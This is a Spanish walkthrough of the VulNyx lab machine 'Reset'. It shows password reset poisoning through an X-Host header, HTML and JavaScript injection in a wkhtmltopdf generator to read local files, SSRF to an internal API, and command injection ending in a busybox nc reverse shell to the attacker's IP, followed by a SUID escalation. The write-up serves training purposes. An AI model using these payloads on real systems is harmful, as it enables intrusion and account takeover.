Reset

Introducción

Muy buenas y bienvenidos a la resolución de la máquina de dificultad Media - Reset de la plataforma VulNyx, esta máquina le he puesto muchísimo cariño, aplicando lo que estoy aprendiendo en la certificación CWEE de HTB espero que os guste.

A continuación veremos las técnicas que nos encontraremos en la máquina Reset:

  • Host Header Attack - Headers Override

  • Password Reset Poisoning

  • Session Fixation

  • HTML Injection PDF Generators

    • Server-Side XSS

    • Local File Inclusion

    • Server-Side Request Forgery

  • Command Injection

  • Escalada de privilegios - SUID awk

Reconocimiento

La propia máquina nos da la IP de la máquina que es la 192.168.93.142 en mi caso, se podría encontrar con arp-scan -I <tu interfaz> --localnet o con nmap -sn <tu red/24>

Una vez tenemos la IP de la máquina Reset, hacemos un escaneo para ver que puertos abiertos hay:

sudo nmap -sCV -p- -T5 192.168.93.142 -oN scan

Tenemos el típico puerto 22 y 80, que seguramente significa que será hacking web... siendo el creador de la máquina, os lo confirmo 😂. Pues nos vamos directamente a la web, a ver que aparece:

Se puede observar de primeras que parece una página web de agencia para talentos, se puede ya enumerar varios correos electrónicos, serán importantes para cuando hayamos hecho el fuzzing del aplicativo web.

Simplemente entrando en la página web podemos sacar lo siguiente:

  • Enumeración de correos electrónicos

  • Panel de autenticación, que se puede encontrar en la parte superior derecha.

Se apuntan los 3 correos:

  • zuha@reset.nyx

  • yunjin@reset.nyx

  • admin@reset.nyx

El más interesante sin duda es el del usuario admin, una vez apuntados se realiza un fuzzing con dirsearch con la wordlist que viene por defecto para un primer escaneo, si este no saca nada importante, ya se utilizarían herramientas como ffuf, gobuster o wfuzz.

dirsearch -u http://192.168.93.142/

El resultado tras lanzarlo muestra varios endpoints que son interesantes:

Al parecer todos los que constan de estar autenticados, redirigen directamente al login.php. También hay un endpoint que tiene para registrar, así que posiblemente podamos crear usuarios.

Login.php

Una vez se accede al login.php se observa que tiene para iniciar sesión (ahora carecemos de credenciales válidas, pero tenemos usuarios), creación de cuentas y la funcionalidad para restablecer la contraseña.

Ahora mismo se pueden comprobar lo siguiente:

  • ¿Tengo usuario válidos enumerados? ¿Se puede comprobar de intentar mandar una solicitud con esos correos?

    • Se puede poner dichos correos en el panel con una contraseña incorrecta para ver si el panel tiene un mensaje que pueda darnos una pista a si existe o no.

  • Si la enumeración de usuarios válidos no funciona, lo siguiente sería registrar un usuario e iniciar sesión al panel autenticado.

  • Comprobar como funciona la funcionalidad de cambio de contraseña.

Lo que quiero mostrar con las preguntas de arriba es que al final siempre debemos preguntarnos que podemos hacer con lo que tenemos y pensar un poco fuera de la caja. Pero al ser un writeup, tampoco me voy a liar mucho con ello. Vamos al ruedo.

Intrusión version 1

Host-Header Attack

Este ataque se suele encontrar cuando el aplicativo utiliza Content Delivery Networks (CDN) como Akamai o Cloudflare que este estos se basan en el encabezado del host para determinar qué aplicación debe servir. Aunque que las CDN suelen alojar diferentes aplicaciones web en máquinas separadas, el tráfico de las CDN se enruta por naturaleza a través de sistemas intermediarios como proxies inversos, cachés web y balanceadores de carga. Estos sistemas intermediarios necesitan saber a dónde reenviar el tráfico, lo que deciden basándose en la cabecera de host de la solicitud.

Para demostrarlo muestro una configuración sencilla de Apache para un servidor web con dos hosts virtuales diferentes:

<VirtualHost *:80>
    DocumentRoot "/var/www/vulnyx"
    ServerName testing.nyx
</VirtualHost>

<VirtualHost *:80>
    DocumentRoot "/var/www/reset"
    ServerName reset.nyx
</VirtualHost>

Nota: Como puedes observar en esta máquina no hay vhosts, pero el concepto es el mismo. Es decir, imaginate que esta apuntando a una IP especifica.

Podemos ver que hay dos aplicaciones web completamente diferentes localizadas en diferentes rutas en el sistema local. La diferencia está en la directiva ServerName, que le dice a Apache que sirva la aplicación web correspondiente dependiendo de la cabecera host de la petición entrante.

Las aplicaciones web necesitan conocer el dominio en el que están alojadas para generar enlaces absolutos, que son necesarios en diferentes situaciones como los enlaces de restablecimiento de contraseña. Si el dominio no se almacena en un archivo de configuración y la aplicación web utiliza la cabecera host para generar enlaces absolutos sin las comprobaciones adecuadas, podría ser vulnerable a una vulnerabilidad llamada password reset poisoning.

Y aquí es lo que vamos a estar explotando, la vulnerabilidad Password Reset Poisoning, como ya hemos visto hay una funcionalidad para realizar dicha acción, ahora lo que queda es comprobar si el aplicativo web es vulnerable o no a Host Header attack, así que siempre que veáis una funcionalidad de restablecimiento de contraseña, esto que se realizará es una buena práctica, y no cuesta mucho probarlo.

Detección

Se realiza una solicitud al panel de login.php y se intercepta con BurpSuite, una vez que tengamos dicha solicitud, ya podemos empezar a jugar.

La manera más sencilla de saber si es vulnerable, es coger la cabecera Host y la modificamos a una que sea por ejemplo test, para ver si esta es modificada lo más sencillo es ver si en la respuesta de la solicitud hay enlaces absolutos del aplicativo web, por ejemplo:

<link rel=stylesheet" href="https://192.168.93.142/style.css"
<script src="https://192.168.93.142/script.js"/>

Puede pasar que se representen de esta manera:

link rel=stylesheet" href="./style.css"
<script src="./script.js"/>

Si se encuentran de esta manera, poco se puede comprobar, no obstante, puede seguir siendo vulnerable, lo que sucede es que será más complicado detectarlo y es necesario utilizar técnicas más avanzadas para comprobar que lo es o no. Sigamos con ello.

Como se puede observar en la siguiente captura, al cambiar el valor de la cabecera Host a test, esta falla dando un error 400 Bad Request:

Header Override

Cuando se habla de ataques a la cabecera host, es importante tener en cuenta que existen otras cabeceras con un significado similar a la cabecera host que los servidores web pueden (quizás sin que el administrador lo sepa) soportar y que, por tanto, pueden ser explotadas para ataques a la cabecera host. Así que no debemos darnos por vencidos, aún hay la técnica llamada Override Headers que se puede utilizar para establecer la cabecera Host como el servidor espera, pero con una de las siguientes cabeceras se puede anular:

  • X-Forwarded-Host

  • X-HTTP-Host-Override

  • Forwarded

  • X-Host

  • X-Forwarded-Server

Nota: Quizás haya casos en los que la validación esté implementada, pero solo se aplique al encabezado del host y no a los encabezados de anulación, aunque la aplicación web admita los encabezados de anulación si están configurados. Esto podría dar lugar a eludir la validación y permitir ataques al encabezado del host.

Se comprueba cada una de ellas estableciendo el valor test y se encuentra que con la X-Host si que se refleja el test en la respuesta:

De esta manera se confirma que el aplicativo web es vulnerable a Host Header Attack, permitiendonos realizar el Password Reset Poisoning.

Password Reset Posioning

Para explotar con éxito el Password Reset Poisoning, necesitamos enviar una solicitud de restablecimiento de contraseña con el correo electrónico de la víctima y una cabecera de host manipulada que apunte a un dominio bajo nuestro control. La aplicación web utiliza el encabezado de host manipulado para construir el enlace de restablecimiento de contraseña de forma que el enlace apunte a nuestro dominio. Cuando la víctima haga clic en el enlace de restablecimiento de contraseña, podremos ver la solicitud en nuestro dominio. Y lo que es más importante, la solicitud contiene el token de restablecimiento de contraseña de la víctima en la URL. Esto nos permite robar el token de restablecimiento, restablecer la contraseña de la víctima y hacernos con su cuenta.

Entonces, una vez se ha explicado el concepto de la técnica que se aplicará, se procede a la explotación, para ello ya se ha enumerado anteriormente correos posibles que pueden ser victimas de el cambio de contraseña. Obviamente el usuario victima lógico es el usuario admin@reset.nyx.

Así que, comencemos, para la reproducción de la vulnerabilidad se tiene que acceder a la siguiente dirección URL:

Una vez se ha accedido a dicho endpoint, se procede con el envío para el cambio de contraseña, para ello establecemos el correo del usuario admin y seguidamente se intercepta la solicitud:

La petición queda de la siguiente manera:

POST /forgot_password.php HTTP/1.1

Host: 192.168.93.142

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 23

Origin: http://192.168.93.142

Connection: keep-alive

Referer: http://192.168.93.142/forgot_password.php

Cookie: PHPSESSID=j2mil6jc2tela1555mdm50mf5p

Upgrade-Insecure-Requests: 1

Priority: u=0, i



email=admin%40reset.nyx

Ahora se debe aplicar lo aprendido con el Host header attack, se establece la cabecera X-Host apuntando a nuestra IP de atacante, antes de enviar la solicitud se debe abrir un servidor http por el puerto 80:

python3 -m http.server 80

Una vez levantado, la petición queda de la siguiente manera:

POST /forgot_password.php HTTP/1.1

Host: 192.168.93.142

X-Host: 192.168.93.137 <-- Aquí establecemos la IP de nuestro servidor

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 23

Origin: http://192.168.93.142

Connection: keep-alive

Referer: http://192.168.93.142/forgot_password.php

Cookie: PHPSESSID=j2mil6jc2tela1555mdm50mf5p

Upgrade-Insecure-Requests: 1

Priority: u=0, i



email=admin%40reset.nyx

Una vez ha sido enviada la solicitud, sale el siguiente mensaje:

Tras un momento esperando se recibe como el usuario admin ha hecho clic sobre el enlace que apunta a nuestra IP y nos ha hecho la solicitud a nuestro servidor, mostrando el token necesario para cambiar la contraseña:

Se establece en la dirección URL el token conseguido y como se puede observar, se puede cambiar la contraseña del usuario admin:

Resultado:

De esta manera se ha conseguido explotar con exito, pudiendo acceder a la cuenta del usuario admin:

Nota: En un entorno real se podría utilizar esta misma técnica pero en un VPS, aunque la opción más simple es utilizar herramientas como el Burp Collaborator o Interactsh. Todo depende también de como tengan configurado el servidor, pueden haber medidas de prevención en el aplicativo.

Intrusión version 2

Ahora que os he enseñado la via intencional... cuando salío la máquina un player me comentó que la vulnero de esta manera y me parece genial. Por eso lo he dejado, y al final esta también es la gracia del hacking. De hecho, imaginad lo que me queda por aprender que intente hacer esta vulneraiblidad en un laboratorio y no pude reproducirla, así que... la he CREADO SIN QUERER. En fin. Gracias UmFra2E por comentarmelo ☺️.

Session Fixation

Y dirás... y como puede ser que esta vulnerabilidad haya aparecido, fácil, voy a explicaros un poco en que consiste la session fixation:

  • Session Fixation (Fijación de Sesión) es un ataque en el que un atacante engaña a una víctima para que use un ID de sesión que el atacante ya conoce. Cuando la víctima inicia sesión, el servidor asocia esa sesión ahora autenticada con el ID del atacante. Como el atacante conoce el ID, puede secuestrar la sesión de la víctima y obtener acceso a su cuenta. El fallo principal es que la aplicación no genera un nuevo ID de sesión después del login.

El problema de esta vulnerabilidad es que puse este código en la página login.php:

<?php
require_once 'config.php';
session_start();
 
if (isset($_SESSION['username'])) {
    header('Location: dashboard.php');
    exit();
}

$message = '';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $email = trim($_POST['email']);
    $password = trim($_POST['password']);

    if (empty($email) || empty($password)) {
        $message = '<p class="error">Please fill in all fields.</p>';
    } else {
        $users_file = '/opt/users.json';
        $users = json_decode(file_get_contents($users_file), true);

        if (isset($users[$email]) && password_verify($password, $users[$email]['password'])) {
            $_SESSION['email'] = $email;
            $_SESSION['username'] = $users[$email]['username'];
            $_SESSION['role'] = ($users[$email]['username'] === 'admin') ? 'admin' : 'user';
            
            header('Location: dashboard.php');
            exit();
        } else {
            $message = '<p class="error">Incorrect email or password.</p>';
        }
    }
}
?>

La clave es esta línea de aquí:

 $_SESSION['role'] = ($users[$email]['username'] === 'admin') ? 'admin' : 'user'

Le esta diciendo a la sesión que si el nombre del usuario admin entonces le asigna el rol sin importar el correo electronico, de esta manera yo he montado el PHP para que cuando el rol sea admin le muestre la funcionalidad nueva para las notas, que solamente puede ver el usuario admin. Un error de calculo que al final me ha salido bien 😎.

Entonces, es tan sencillo como ir a la creación de usuario y poner otro usuario admin:

Seguidamente le damos a Register y entramos con el usuario creado:

Al entrar tenemos la opción de las notas:

El problema principal de ese código es que no genera un nuevo ID de sesión después de que el usuario inicie sesión. Reutiliza el ID que el usuario tenía como invitado, permitiendo a un atacante "fijar" ese ID y secuestrar la cuenta.

Inyección en Generadores PDF

Como se ha podido observar en la última captura de pantalla, ya se ha obtenido acceso al panel con un usuario autenticado, específicamente con el usuario admin. Y se observa que hay una funcionalidad para crear notas la cual te permite explotar dichas notas en formato PDF o CSV.

Se accede a dicha funcionalidad dándole clic sobre Notes:

Una vez dentro se observa de la siguiente manera:

Voy a ir un poco al grano, ya que os confirmo que he intentado varias veces ya en entornos reales abusar de los CSV o este tipo de exportaciones y nunca me detecta los payloads cuando son inyectados, así que vamos directos a por ese generador de PDF 😄 (estoy deseando que algún dia funcionen 😢).

Detección de la tecnología usada

Cuando nos enfrentamos a generadores de PDF, por lo general están bien configurados y no son vulnerables, pero pueden haber errores de configuración o que la versión del software que se está utilizando esta obsoleta. Eso abre la puerta a que vulnerabilidades como HTML Injection, Server-Side JavaScript Injection, Server-Side Request Forgery y Local File Inclusion. En este caso nos estaremos enfrentando a un mix de todas ellas.

Pero antes de empezar con la explotación, es importante ver ante que generador de PDF estamos. Os dejo un listado de los más famosos:

Para conocer que tipo de generador es, hay varias maneras de hacerlo, primero es generar un PDF válido y utilizar herramientas como exiftool o el mismo BurpSuite (interceptando la solicitud de la generación, muchas veces salen las versiones), ejemplo de ambas:

Nota: Para ello he creado una nota básica que pone test.

Generando el PDF:

Interceptando la generación:

Importante: Tanto cuando se utiliza con exiftool o con la intercepción, hay que buscar siempre los datos Creator y Producer para detectar la tecnología.

Cabe recalcar que si con estás 2 maneras de detección no es suficiente, hay herramientas como pdfinfo que te permiten conseguir lo mismo que exiftool.

Así que ya hay 3 maneras de detectarlo, como se ha observado estamos ante el generador más famoso wkhtmltopdf 0.12.6.

Explotación

Se borra la nota de prueba que se establecio anteriormente para realizar la prueba y se introduce un payload básico de HTML <h1>test html injection</h1>. Si este es reconocido por el generador, es un indicio de que es vulnerable a vulnerablidades más criticas como SXSS que podrían elevarse y dar más impacto.

No hay los <h1> así que es una confirmación que es vulnerable a HTML Injection, ahora toca lo bueno 😏:

Vale, y te preguntarás... que puedo hacer aquí? Bueno, pues te voy a decir varias técnicas que se pueden aplicar si esto ha funcionado, constan de las siguientes (os dejo mi checklist de detección para que veáis que técnicas aplicar):

De acuerdo, es decir que se pueden intentar explotar las siguientes vulnerablidades:

  • JavaScript Code Execution

  • Server-Side Request Forgery

  • Local File Inclusion

JavaScript Code Execution

Empecemos por la primera, se inyecta un payload sencillo con las etiquetas <script> y si lo reconoce el generador, confirma que se pueden introducir payloads más avanzadas para exfiltrar datos por ejemplo.

Efectivamente, en el PDF se muestra el test1 sin las etiquetas:

Local File Inclusion

Así que... vamos a sacar la artillería pesada. Con el siguiente código JavaScript se puede conseguir exfiltrar datos mediante un Local File Inclusion:

<script>
	function addNewlines(str) {
		var result = '';
		while (str.length > 0) {
		    result += str.substring(0, 100) + '\n';
			str = str.substring(100);
		}
		return result;
	}

	x = new XMLHttpRequest();
	x.onload = function(){
		document.write(addNewlines(btoa(this.responseText)))
	};
	x.open("GET", "file:///etc/passwd");
	x.send();
</script>

Explicación del código:

  • Primero crea una función para que el resultado sea más legible (este añade saltos de línea cada 100 caracteres para asegurarnos que quepa en el PDF), cuando se haga el print del base64.

  • Realiza una solicitud XMLHttpRequest, prepara esa solicitud en formato GET para obtener el recurso local /etc/passwd.

  • Seguidamente envía la petición, el motor que ejecuta el JS lee el archivo y lo muestra en el generador de PDF en formato base64.

Una vez ha sido lanzado se puede observar que en el PDF se muestra en base64 el resultado de la solicitud:

echo -n "base64" |base64 -d

Obtenemos el /etc/passwd de la máquina victima:

De acuerdo, con esta información se ha encontrado que hay un usuario llamado zuha, perfecto. La cosa es que aquí hay que pensar un poco en la situación para poder avanzar, que más cosa se puede sacar?

  • ¿La id_rsa del usuario /home/zuha?

  • ¿Exfiltrar los archivos .php que hay en el aplicativo web?

  • ¿Sacar archivos críticos del sistema que se pueda obtener información relevante?

Uno de los checks que suelo probar cuando estoy ante este tipo de situaciones, es comprobar si hay puertos internos en el aplicativo web, ya que si los hay, se puede intentar interactuar con dicho aplicativo. Para ello primero hay que recordar que lo más normal para comprobar hacer esto, es necesario por ejemplo un SSRF para hacer un fuzzing de los puertos internos, pero aún hay una carta más sobre la manga, y es que si sabemos la tecnología que hay corriendo por detrás, hay archivos del sistema que nos pueden decir si hay un puerto interno o no, estamos ante un Apache, así que sería comprobar si en el archivo /etc/apache2/ports.conf hay algún puerto más a parte del 80. Si fuera un nginx la ruta sería /etc/nginx/sites-enabled/default.

<script>
	function addNewlines(str) {
		var result = '';
		while (str.length > 0) {
		    result += str.substring(0, 100) + '\n';
			str = str.substring(100);
		}
		return result;
	}

	x = new XMLHttpRequest();
	x.onload = function(){
		document.write(addNewlines(btoa(this.responseText)))
	};
	x.open("GET", "file:///etc/apache2/ports.conf");
	x.send();
</script>

Una vez se ha inyectado se puede observar como ha sacado un base64:

Efectivamente, se ha encontrado que en el ports.conf de apache, hay un puerto interno:

Server-Side Request Forgery

Ahora, utilizando la vulnerabilidad SSRF mencionada anteriormente, se puede comprobar si dicho servidor es accesible. Para la comprobación se utilizará el siguiente payload:

<iframe src="http://127.0.0.1:9000/" width="800" height="1000"></iframe>

Y... boom, se muestra reflejado el servidor interno por el puerto 9000 en el PDF:

Este nos muestra que hay 2 endpoints utilizándose:

  • GET /api.php/users/{username}

  • GET /api.php/utils/ping?hosts={hostname_or_ip}

Se puede observar que en el segundo endpoint, que es el más interesante, comenta que esta sanitizado para que no se pueda inyectar comandos. No obstante a continuación veremos que no es así.

Antes de nada se comprueba si se puede hacer un simple ping y que lo recibamos, para ello utilizamos tcpdump y mandamos la solicitud a nuestra IP:

sudo tcpdump -i eth0 icmp

Ahora añadimos a las notas el siguiente payload:

<iframe src="http://127.0.0.1:9000/api.php/utils/ping?host=Nuestra-IP" width="800" height="1000"></iframe>

Recibimos el ping, confirmando que todo funciona bien y tenemos conexión:

Command Injection

A continuación veremos los pasos necesarios para poder eludir los filtros de seguridad que hay implementados sobre el parámetro host. Para ello hay que entender los siguientes pasos a la hora de eludirlos:

  1. Saber que operador esta en la blacklist/whitelist, en este caso es el | el que no esta y permite eludir los filtros:

<iframe src="http://127.0.0.1:9000/api.php/utils/ping?host=127.0.0.1|whoami" style="width:100%; height:500px;"></iframe> 
  1. Ahora que sabemos que el operador es |, ahora es comprobar que comandos son posibles y cuales no, de primeras el whoami no esta en la lista negra. En este caso para un futuro queremos utilizar busybox para conseguir la Reverse Shell.

  2. Una vez sabemos cuales comandos no estan en la blacklist/whitelist, ahora es saber si hay filtro para los espacios.

    1. En este caso se probando se ha detectado que con ${IFS} no salta el filtro.

  3. Así que sabiendo todo esto, ya se puede formular el payload final para recibir la shell.

Queda de la siguiente manera:

<iframe src="http://127.0.0.1:9000/api.php/utils/ping?host=127.0.0.1|busybox${IFS}nc${IFS}192.168.93.137${IFS}4444${IFS}-e${IFS}sh" style="width:100%; height:500px;"></iframe>

Abrimos un ncat para recibirla por el 4444 e inyectamos el payload en las notas, y generamos el PDF.

nc -lvnp 4444

Recibmos la shell:

Escalada de privilegios

Vamos al grano, ya que la parte chula ya ha pasado... estamos ante una escalada muy sencilla donde haciendo el comando para buscar binarios SUID, se encuentra que el binario find tiene dichos permisos, de esta manera se puede escalar a root directamente:

find / -perm -4000 2>/dev/null

Se lanza el siguiente comando y se eleva a root:

Despedida

Espero que os haya gustado la máquina, espero que la hayáis disfrutado y sobretodo hayáis aprendido mucho que siempre es mi intención.

Happy Hacking 😎!

See ya

Last updated